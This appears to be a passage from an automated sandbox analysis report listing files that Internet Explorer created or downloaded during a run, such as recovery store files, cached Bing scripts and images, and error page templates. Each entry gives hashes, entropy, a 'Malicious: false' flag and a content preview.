Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{5CD1EFE7-95B2-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	2.0168860207743036
Encrypted:	false
SSDEEP:	192:r2Z5ZX2UWgtMf0FMyh8nJeMfMHsQC3SPSg:ryvGDkyZyhgkH6S9
MD5:	C05D72F42DA45AEDB553A348F70A7375
SHA1:	1A943D1ED10EB5521AC6BCD6246A4AE9F42584DD
SHA-256:	6C55658B68281F5A6445E8A0987384528EE9E0FBBC6ADB4CB79C41EB83B8A993
SHA-512:	97A227F1F50B6A081FA9B4A9DB1598C31D3EDF5CD2FD23FA3333377AC3C09441E6570C69138A680208ECED038F16503D7C9CC360B56716F23DFD1694A562CE5B
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{6F44FC35-95B2-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	21592
Entropy (8bit):	1.7599042592478111
Encrypted:	false
SSDEEP:	96:rRZyZj12jS6WjSwG7ZtjSwGcwdVfjSwGcwKw2SlQMjSwGTwZwKwy9y:rRZyZp2/Wkt3gVf37XSlQMQk7f9y
MD5:	CD8E997A7C4C404FED93A6A0F1FDCA25
SHA1:	F9210AB2637E2E080515E9622CD36F1CE41AD702
SHA-256:	C50020481F0EE97D12899089B578C183E8D3822D238B343DFD8109B2C69877C6
SHA-512:	13548878D69050A1CA315EFED45D7966CB979A6890347CC4061F946027961597092E2150C5AEF2926ACC64FE63CA782F7D73D67094F30469453BBE3D00B592B5
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{40515B7A-95B2-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	43408
Entropy (8bit):	2.5081041542731346
Encrypted:	false
SSDEEP:	384:r6yMklZVXC1mZIXhQsfxOfxfjfxRQZpqAIC:QmOXhQ2xoxfzxEfT
MD5:	963E38C994B4012E5CA7CEBA752F2F0C
SHA1:	A2A8A5880FF45787D713038BD4A8A336DE6292BC
SHA-256:	97EC4030095731ED869936514E018210CE03E1911DC7FF014161773478336DE8
SHA-512:	A9C41B25336D9831E09BECAC1894BB10679EA77022A7E42A2AD4110B2B74A72293E2FB9C47B5E62BBA9BEA6F7200ABC327739E633A9F39709B48D101272345F4
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{5CD1EFE9-95B2-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	modified
Size (bytes):	27088
Entropy (8bit):	1.8411466434539112
Encrypted:	false
SSDEEP:	48:IwtXGcprDMGwpaoXG4pQ6lGrapbSWZGQpB2GHHpckaTGUp8bGzYpmYOOGopJm6sG:rXZYQU6OBS+j12pWhMaTmx/Txxp/PA
MD5:	4FBBAC2FE018B7DA170EC046F831DA55
SHA1:	26EF9CF83CAFF792B37D719AA131396AA98AA8B3
SHA-256:	8AA62D824AF016FB7E1B9D4603222798172BBFE97970BD535EF5E262E3D8D998
SHA-512:	9F56CE1E949EF31B13537ECDD200D1AD457E12B84700C3C9F80440DD2510FF69DBBCC6AB5495E94F0EBD7B527D743A7C55DB289316303AD5EA5486F9EE427E81
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{5CD1EFEB-95B2-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	41180
Entropy (8bit):	2.3784212855244817
Encrypted:	false
SSDEEP:	384:rA8my5cUGQHBVGBE0fBEB+BLBwcADBGZv6BGxtyy:veTm89D6AZCAxoy
MD5:	8492908E1B87C0F24B6415FD21EFB449
SHA1:	26AD390A12FD1CD9F91D52DB23D7DC7F5B89DF80
SHA-256:	F31D7E8F0F5407AA51D3A851DC3233E30B458BEE0676807E41CA6C754EA3324E
SHA-512:	842F68103D576F4963CB2AF177421BA8775A07DB2216E1B8649E72B8013B9396ED6C56145C7D099B8EB08D085E4FE01090EBE6C2C30F137AB09CD1DFE4F2D0A2
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{6F44FC37-95B2-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	24624
Entropy (8bit):	1.724238680069102
Encrypted:	false
SSDEEP:	48:IwfGcprqGwpaS7G4pQ+GrapbSvZGQpBqGHHpcUaTGUp8pGzYpmOlOGopokrhrSwU:r1ZyQG6wBSrjx25WnMz6AhrS+Bjg
MD5:	FF7D1DD13FAE5E3CE4A224FA4164E408
SHA1:	605089EFC26C8339DFB83C72157CC6128447EECA
SHA-256:	D3C6E76FA126F898A20AA8563620A65185DC4BD20F0317D750C8577A366D324E
SHA-512:	5A36ED39D8A251D307D233AD9C49C8F0383D0E05E0ABFE8E7BBE0851B3365444CBE83B6170CB53C7E9D9BD28C25D819C6226F636FC2516163A38528738C97C1C
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\ynfz0jx\imagestore.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	modified
Size (bytes):	10192
Entropy (8bit):	4.533422310026393
Encrypted:	false
SSDEEP:	96:0Ph+Qhato4xOxDehrmrPh+Qhato4xOxDehrm+:0Z+dnmDehKrZ+dnmDehK+
MD5:	6E1AA8D94A96F03A178408E083C2D1D0
SHA1:	2BF9993284D7C75CBE1DF68761D159FCD4B6EDCE
SHA-256:	3D501F4DB52491531E84453528422A3D748469E1D3812108B85AFFE2AF32C050
SHA-512:	7A78503A5476E8655539E7CA3D8D1DC246B0CA51258DF6F7972FD2BA3396321A466E7E91C25E76452D9714C795E9DD7CD864DF7E63960E3B43E4E7D609346F10
Malicious:	false
Preview:	+.h.t.t.p.s.:././.w.w.w...b.i.n.g...c.o.m./.s.a./.s.i.m.g./.f.a.v.i.c.o.n.-.2.x...i.c.o........... .... .........(... ...@..... ...................................................................................................................................................................................................N...Sz..R...R...P...N..L..H..DG..........................................................................................R6..U...U...S...R...P...N..L..I..F..B...7...............................................................................S6..V...V...U...S...R...P...N..L..I..F..C...?..:z......................................................................O...W...V...V...U...S...R...P...N..L..I..E..C...?...;..{7..q2$..............................................................T..D..]...S)..p6..J...R...P...N..L..I..E..B..>..;..z7..p2..f,X.........................................................A..O#..N!..N!..N!..P$..q:...P...N..K..I..E..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	374771
Entropy (8bit):	5.158592433297743
Encrypted:	false
SSDEEP:	6144:1irrzbB3LH7gaV6Z8LAfP0Rp6Izc04YFdNwRm2EjXi4SG7oIBYQmzeH:aHNfi4KwYQmzeH
MD5:	F279A46B56038C41BB3FC11D67D0FE46
SHA1:	B48121E695FD6483CAA7F48DE73FE9F121777109
SHA-256:	A9EA274B393E34591387AC0B4DE594BEE296386543DE34F4897281324DB0DCBB
SHA-512:	4C1754CF5E368D8CE86B135B789A4FF4BAAD1419F30A1EB3B65EAB62217C054D0066EA5FC22B5AA7643EA959854EBC2029B39CB7D1AEAAFB78B95A2A46430F84
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/GiGr-rA9TBhE2c3LJn7PvDweiOo.gz.js
Preview:	(function(n){function t(r){if(i[r])return i[r].exports;var u=i[r]={i:r,l:!1,exports:{}};return n[r].call(u.exports,u,u.exports,t),u.l=!0,u.exports}var i={};return t.m=n,t.c=i,t.d=function(n,i,r){t.o(n,i)\|\|Object.defineProperty(n,i,{enumerable:!0,get:r})},t.r=function(n){typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"});Object.defineProperty(n,"__esModule",{value:!0})},t.t=function(n,i){var r,u;if((i&1&&(n=t(n)),i&8)\|\|i&4&&typeof n=="object"&&n&&n.__esModule)return n;if(r=Object.create(null),t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:n}),i&2&&typeof n!="string")for(u in n)t.d(r,u,function(t){return n[t]}.bind(null,u));return r},t.n=function(n){var i=n&&n.__esModule?function(){return n["default"]}:function(){return n};return t.d(i,"a",i),i},t.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},t.p="",t(t.s=0)})([function(n,t,i){window.SpeechSDK=i(1)},function(n,t,i){"use strict";function r(n){for(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\H_VmuFPRwWZ4UrVl0mPztnf3z5U[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:38:22], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	13897
Entropy (8bit):	7.900268685598436
Encrypted:	false
SSDEEP:	384:hE9ZTKqcnOdNOEX35wsXK/vWqv/CAU7zXwn1sIQcoo43P:hE9oqcOdfX35wsaWqv6HUn1H4P
MD5:	B545C910F9993F7F930513DB793F4EE0
SHA1:	1FF566B853D1C1667852B565D263F3B677F7CF95
SHA-256:	A797D6446620B867248B43792B9AA457B42ADBB7099D9B3129E0D7743DAF67ED
SHA-512:	12A3A9EC217F8B05151D2BDC76B6B2942C86098F1182AD76B7119B959B9937ACFCACC0361188CDF17A629B1D4E76985DFC6AB409939496AF62354AE9FCEB162D
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/H_VmuFPRwWZ4UrVl0mPztnf3z5U.jpg
Preview:	......JFIF.....H.H....!.Exif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:08:01 11:38:22................................................................................................ ..................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..-#".Uj..........b.T..Gj.#..E..XD..0...ML...H....i.UN}.p}?:].pE8&O....q.~UOR@l&...m;...jJE....v..8.p...Z..f'

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\HdepnBaFj-yarvouFUIlfV4Q9D8.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	3201
Entropy (8bit):	5.369958740257869
Encrypted:	false
SSDEEP:	48:rmo6TIPx85uuYPXznTBB0D6e7htJETfD8QJLxDO7KTUx42Z3rtki:sYuYPXznb0DR7dw8QhIWTQrt7
MD5:	4AADD0F43326BAD8EFD82C85B6D9A20E
SHA1:	4093FC4AB9821B646D64C98051A1CF0679CB2188
SHA-256:	968849A1E6AAED249C78B6CF1AF585AB6C8482A8C5398AB1D2DC3CB92E9EA68F
SHA-512:	616B06A6E3B2385E5487C819FC7F595D473B2F14E8CB76EFB894EDEAB3B26D2C9B679A9B275D924BECC37E156C70B0B56126CCFB62C8B23ABBA9DE07BD93D72A
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/HdepnBaFj-yarvouFUIlfV4Q9D8.gz.js
Preview:	var __spreadArrays=this&&this.__spreadArrays\|\|function(){for(var i=0,n=0,r=arguments.length;n<r;n++)i+=arguments[n].length;for(var u=Array(i),f=0,n=0;n<r;n++)for(var e=arguments[n],t=0,o=e.length;t<o;t++,f++)u[f]=e[t];return u};define("clientinst",["require","exports"],function(n,t){function it(){a=0;u()}function u(){var n,s,t,o;e&&clearTimeout(e);for(n in i)if(i.hasOwnProperty(n)){s=n!=_G.IG?_G.lsUrl.replace(_G.IG,n):_G.lsUrl;for(t in i[n])i[n].hasOwnProperty(t)&&(o=b+s+"&TYPE=Event."+t+"&DATA="+f("[")+i[n][t]+f("]"),ut(o)\|\|(g().src=o));delete i[n]}typeof r!="undefined"&&r.setTimeout&&(e=r.setTimeout(u,w))}function rt(){return _G!==undefined&&_G.EF!==undefined&&_G.EF.logsb!==undefined&&_G.EF.logsb===1}function ut(n){return rt()?ft(n,""):!1}function ft(n,t){var i="sendBeacon",r=!1;if(navigator&&navigator[i])try{navigator[i](n,t);r=!0}catch(u){}return r}var y,d,i,g,o,p;t.__esModule=!0;t.Wrap=t.Log2=t.LogInstrumented=t.Log=t.LogCustomEvent=void 0;var r=n("env"),s=n("event.native"),h=n("e

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\MDr1f9aJs4rBVf1F5DAtlALvweY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	257
Entropy (8bit):	4.781091704776374
Encrypted:	false
SSDEEP:	3:qMH4WXMHwmnIB4JmhyfAIB4Jmml0X2IUJIB4JrNOsK1A4JWW7jKYHVA4JRGYdA4S:q6XzD4jr43ldI74FNQlNj7jM9TlMlbSr
MD5:	51A9EA95D5ED461ED98AC3D23A66AA15
SHA1:	62FBB857B873BD79BEE7F16D0766A452FA2798A3
SHA-256:	A5B4181611E951FAECD6C164D704569C633E95FE68D3D1934B911A089EBF70E8
SHA-512:	CEE4231894F82627E50EC746D7C150E5303A1BF8864D7B084173B9D17663A27CC2915F5D0D4DC0602FE26D9EAA10DD98CF3422E7601F520EF34D45C9A506D6F7
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/MDr1f9aJs4rBVf1F5DAtlALvweY.gz.js
Preview:	var BM=BM\|\|{};BM.rules={"#sc_hdu":[-1,-1,1],"#hp_id_hdr":[-1,-1,1],"#hp_container":[-1,-1,1],".hp_sw_logo":[-1,-1,0],".b_searchboxForm":[-1,-1,0],"#crs_pane":[-1,-1,0],"#sb_foot":[-1,-1,0],"#sh_rdiv":[-1,-1,0],"img,div[data-src]":[-1,-1,0],iframe:[-1,-1,0]}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\N55Tc-oLNOuzZam9OghLsR0GD5U[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=6, xresolution=86, yresolution=94, resolutionunit=2, software=GIMP 2.10.18, datetime=2020:04:16 19:04:38], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	8245
Entropy (8bit):	7.528284902127932
Encrypted:	false
SSDEEP:	192:BKWN2AtZTviNV8+xq4UZg11u5FR5CUtlkZPRKY:Yi2aZTvNSU+ODR5CCkRr
MD5:	8BC40A6F56CB4477BFB120A472920EC1
SHA1:	379E5373EA0B34EBB365A9BD3A084BB11D060F95
SHA-256:	9050D49D0786F054BC4B7DA42690B034C208A4736B7DE430383A3333A51C9835
SHA-512:	50CD42440CF3C68FC807338C4F5E3AF681FEE41C0767EE7392F9C21A75D2B6483587E89E048128470DBA92EB054E82459BC16A3B0EE61DD89BAEA11E934EAAE9
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/N55Tc-oLNOuzZam9OghLsR0GD5U.jpg
Preview:	......JFIF.....H.H......Exif..II...............V...........^...(...........1.......f...2.......t...i...............H.......H.......GIMP 2.10.18..2020:04:16 19:04:38.....................................................................................................................................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(....(...(.....(...(..`.QE..QE..QE..QIH..(...(.....P.E.P.E...QE...QE.-.Q@..R..E.P.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\NGDGShwgz5vCvyjNFyZiaPlHGCE.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	4.837090729138339
Encrypted:	false
SSDEEP:	6:qbLkyK4hImTzBwhLM1whA+XzFE8KSiQLGPQQgnaqza:IQD2IkzaLMGAMzDBVKY+ia
MD5:	1F62E9FDC6CA43F3FC2C4FA56856F368
SHA1:	75ADD74C4E04DB88023404099B9B4AAEA6437AE7
SHA-256:	E1436445696905DF9E8A225930F37015D0EF7160EB9A723BAFC3F9B798365DF6
SHA-512:	6AADAA42E0D86CAD3A44672A57C37ACBA3CB7F85E5104EB68FA44B845C0ED70B3085AA20A504A37DDEDEA7E847F2D53DB18B6455CDA69FB540847CEA6419CDBC
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/NGDGShwgz5vCvyjNFyZiaPlHGCE.gz.js
Preview:	var Button;(function(){WireUp.init("button_init",function(n){var t=n.getAttribute("data-appns"),i=n.getAttribute("data-k");sj_be(n,"click",function(){Log.Log("Click","Button","",!1,"AppNS",t,"K",i,"Category","CommonControls")})})})(Button\|\|(Button={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\NewErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1612
Entropy (8bit):	4.869554560514657
Encrypted:	false
SSDEEP:	24:5Y0bQ573pHpACtUZtJD0lFBopZleqw87xTe4D8FaFJ/Doz9AtjJgbCzg:5m73jcJqQep89TEw7Uxkk
MD5:	DFEABDE84792228093A5A270352395B6
SHA1:	E41258C9576721025926326F76063C2305586F76
SHA-256:	77B138AB5D0A90FF04648C26ADDD5E414CC178165E3B54A4CB3739DA0F58E075
SHA-512:	E256F603E67335151BB709294749794E2E3085F4063C623461A0B3DECBCCA8E620807B707EC9BCBE36DCD7D639C55753DA0495BE85B4AE5FB6BFC52AB4B284FD
Malicious:	false
IE Cache URL:	res://ieframe.dll/NewErrorPageTemplate.css
Preview:	.body..{.. background-repeat: repeat-x;.. background-color: white;.. font-family: "Segoe UI", "verdana", "arial";.. margin: 0em;.. color: #1f1f1f;..}.....mainContent..{.. margin-top:80px;.. width: 700px;.. margin-left: 120px;.. margin-right: 120px;..}.....title..{.. color: #54b0f7;.. font-size: 36px;.. font-weight: 300;.. line-height: 40px;.. margin-bottom: 24px;.. font-family: "Segoe UI", "verdana";.. position: relative;..}.....errorExplanation..{.. color: #000000;.. font-size: 12pt;.. font-family: "Segoe UI", "verdana", "arial";.. text-decoration: none;..}.....taskSection..{.. margin-top: 20px;.. margin-bottom: 28px;.. position: relative; ..}.....tasks..{.. color: #000000;.. font-family: "Segoe UI", "verdana";.. font-weight:200;.. font-size: 12pt;..}....li..{.. margin-top: 8px;..}.....diagnoseButton..{.. outline: none;.. font-size: 9pt;..}.....launchInternetOptionsButton..{.. outline: none;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\Xp-HPHGHOZznHBwdn7OWdva404Y.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	576
Entropy (8bit):	5.192163014367754
Encrypted:	false
SSDEEP:	12:9mPi891gAseP24yXNbdPd1dPkelrR5MdKIKG/OgrfYc3tOfIvHbt:9mPlP5smDy1dV1dHrLMdKIKG/OgLYgtV
MD5:	F5712E664873FDE8EE9044F693CD2DB7
SHA1:	2A30817F3B99E3BE735F4F85BB66DD5EDF6A89F4
SHA-256:	1562669AD323019CDA49A6CF3BDDECE1672282E7275F9D963031B30EA845FFB2
SHA-512:	CA0EB961E52D37CAA75F0F22012C045876A8B1A69DB583FE3232EA6A7787A85BEABC282F104C9FD236DA9A500BA15FDF7BD83C1639BFD73EF8EB6A910B75290D
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Xp-HPHGHOZznHBwdn7OWdva404Y.gz.js
Preview:	var SsoFrame;(function(n){function t(n){if(n&&n.url&&n.sandbox){var t=sj_ce("iframe"),i=t.style;i.visibility="hidden";i.position="absolute";i.height="0";i.width="0";i.border="none";t.src=decodeURIComponent(n.url);t.id="aadssofr";t.setAttribute("sandbox",n.sandbox);_d.body.appendChild(t);n.currentEpoch&&sj_cook.set("SRCHUSR","T",n.currentEpoch,!0,"/");Log&&Log.Log&&Log.Log("ClientInst","NoSignInAttempt","OrgId",!1)}}function i(n){try{n&&n.length===2&&t(n[1])}catch(i){}}n.createFrame=t;n.ssoFrameEntry=i;sj_evt.bind("ssoFrameExists",i,!0,null,!1)})(SsoFrame\|\|(SsoFrame={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\dnserror[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
Encrypted:	false
SSDEEP:	48:u7u5V4VyhhV2lFUW29vj0RkpNc7KpAP8Rra:vIlJ6G7Ao8Ra
MD5:	2DC61EB461DA1436F5D22BCE51425660
SHA1:	E1B79BCAB0F073868079D807FAEC669596DC46C1
SHA-256:	ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993
SHA-512:	A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDB8CBD8F35C7E5B9F4136C29DEA32736AABB451FE8088B978B493AC6D
Malicious:	false
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMoreInfo('infoBlockID');">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\dnserror[2] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
Encrypted:	false
SSDEEP:	48:u7u5V4VyhhV2lFUW29vj0RkpNc7KpAP8Rra:vIlJ6G7Ao8Ra
MD5:	2DC61EB461DA1436F5D22BCE51425660
SHA1:	E1B79BCAB0F073868079D807FAEC669596DC46C1
SHA-256:	ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993
SHA-512:	A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDB8CBD8F35C7E5B9F4136C29DEA32736AABB451FE8088B978B493AC6D
Malicious:	false
IE Cache URL:	res://ieframe.dll/dnserror.htm?ErrorStatus=0x800C0005&DNSError=9002
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMoreInfo('infoBlockID');">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\gDsOfTXNZVl18jxNDvhXqAdf2tM.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1821
Entropy (8bit):	5.098212659804913
Encrypted:	false
SSDEEP:	48:0N3GKBel/r5+8cDYC1YvHIH6ayskysb6NccyskpY3Imqc+DkR:oGKBelzw8fCuoaay5ySSy5q3Mc+4R
MD5:	EC15EB7CBFBFAA68BB1DE04A28C80270
SHA1:	D2570D4CFF3139EA66D15799C9E67211F5A03B20
SHA-256:	810A85F1E705231989251F3EB52DAFF3F0ACEE09C703339C301A7CBD22CF8FE6
SHA-512:	077446A676E47447CB771A119CD0EC2EC168E65FED4579E663866D2846F51E93B47367518EB9D79E04EACE139CDFF043E1E28D64559412B4770388B2FEF96A21
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/gDsOfTXNZVl18jxNDvhXqAdf2tM.gz.js
